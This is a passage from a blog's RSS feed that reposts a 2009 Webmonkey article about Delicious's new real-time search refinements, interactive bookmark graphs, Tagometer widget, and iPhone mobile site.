<a href="http://feeds.feedburner.com/~ff/webware?a=Co1xxwd8GmI:nVz4k9R3AAA:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ad9b6_webware?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/webware?a=Co1xxwd8GmI:nVz4k9R3AAA:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ad9b6_webware?i=Co1xxwd8GmI:nVz4k9R3AAA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/webware?a=Co1xxwd8GmI:nVz4k9R3AAA:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ad9b6_webware?i=Co1xxwd8GmI:nVz4k9R3AAA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/webware?a=Co1xxwd8GmI:nVz4k9R3AAA:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a8cc_webware?i=Co1xxwd8GmI:nVz4k9R3AAA:gIN9vFwOqvQ" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/8a8cc_Co1xxwd8GmI" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/webware">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/twitter-experimenting-with-a-labs-of-its-own/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Delicious Refines Real-Time Search Tools</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/delicious-refines-real-time-search-tools/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/delicious-refines-real-time-search-tools/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 06:05:27 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[chart icon]]></category>
		<category><![CDATA[charts and graphs]]></category>
		<category><![CDATA[Delicious]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[graphical interface]]></category>
		<category><![CDATA[interactive graph]]></category>
		<category><![CDATA[real time data]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[site]]></category>
		<category><![CDATA[time]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/delicious-refines-real-time-search-tools/</guid>
		<description><![CDATA[Delicious has announced some refinements to its recently redesigned homepage that make the bookmarking site an even more useful tool for tracking the real-time web. Among the new features is the ability to narrow any search down to spans of a mere five minutes. While it&#8217;s not for everyone, if you&#8217;re trying to find better [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ec801_Delicious.png" />Delicious has announced some refinements to its <a href="http://www.webmonkey.com/blog/Revamped_Delicious_Turns_to_Twitter_for_Real-Time_Search">recently redesigned homepage</a> that make the bookmarking site an even more useful tool for tracking the real-time web.</p>
<p>Among the <a href="http://blog.delicious.com/blog/2009/09/good-things-just-got-better.html">new features</a> is the ability to narrow any search down to spans of a mere five minutes. While it&#8217;s not for everyone, if you&#8217;re trying to find better ways to filter the fire hose of information that is real-time data, Delicious&#8217; new search tool is an easy way to do it.</p>
<p>There&#8217;s also a very cool new interactive graph for filtering bookmarks around larger chunks of time. For example, if you wanted to see all your bookmarks added on this day last year, just click the interactive graph, select the start and end points and then click the search button to narrow the results.</p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ec801_delicious-graph.jpg" /></p>
<p>While narrowing by time is hardly a new feature, the graphical interface is considerably more intuitive (and cooler) than simply plugging your dates in a text field. If nothing else, it&#8217;s a nice example of how much careful attention to interface design can improve a website.</p>
<p>In fact, the new Delicious seems to have something of fetish for charts and graphs. Charts also appear on each link&#8217;s &#8220;count&#8221; page, showing who has bookmarked it. For example, the Webmonkey homepage has been bookmarked over 5500 times, but the <a href="http://delicious.com/url/70ab3bf9384ab649bfaf20013ed2926b">new chart</a> (click the chart icon to see it) reveals a huge spike in June 2008 shortly after we relaunched the site.</p>
<p>Delicious&#8217; new charts aren&#8217;t limited to the site either. There&#8217;s a new &#8220;<a href="http://delicious.com/help/tagometer">Tagometer</a>&#8221; widget that allows you to embed a chart on your own pages showing the number of saves over time and the most frequently-used tags. Right now you&#8217;ll need to cut-and-paste some JavaScript into your pages, but it probably won&#8217;t be long before someone creates a plug-in for WordPress and other platforms.</p>
<p>The final change Delicious has unveiled is an iPhone-optimized mobile site. The site is geared toward making it easier to bookmark pages on the iPhone, so you can read them later. While we prefer <a href="http://www.instapaper.com/u">Instapaper</a> for that sort of thing, the Delicious mobile site has other options &#8212; like quickly browsing recent bookmarks &#8212; which heavy users will appreciate.</p>
<p><strong>See Also:</strong></p>
<ul>
<li><a href="http://www.webmonkey.com/blog/Revamped_Delicious_Turns_to_Twitter_for_Real-Time_Search">Revamped Delicious Turns to Twitter for Real-Time Search</a></li>
<li><a href="http://www.webmonkey.com/blog/Send_Web_Video_to_Boxee_With_Delicious_Bookmarks">Send Web Video to Boxee With Delicious Bookmarks</a></li>
<li><a href="http://www.webmonkey.com/blog/Delicious_Gets_New_Look__Loses_Dots">Delicious Gets New Look, Loses Dots</a></li>
</ul>
<p><a href="http://www.webmonkey.com/rss/wiki">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/delicious-refines-real-time-search-tools/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

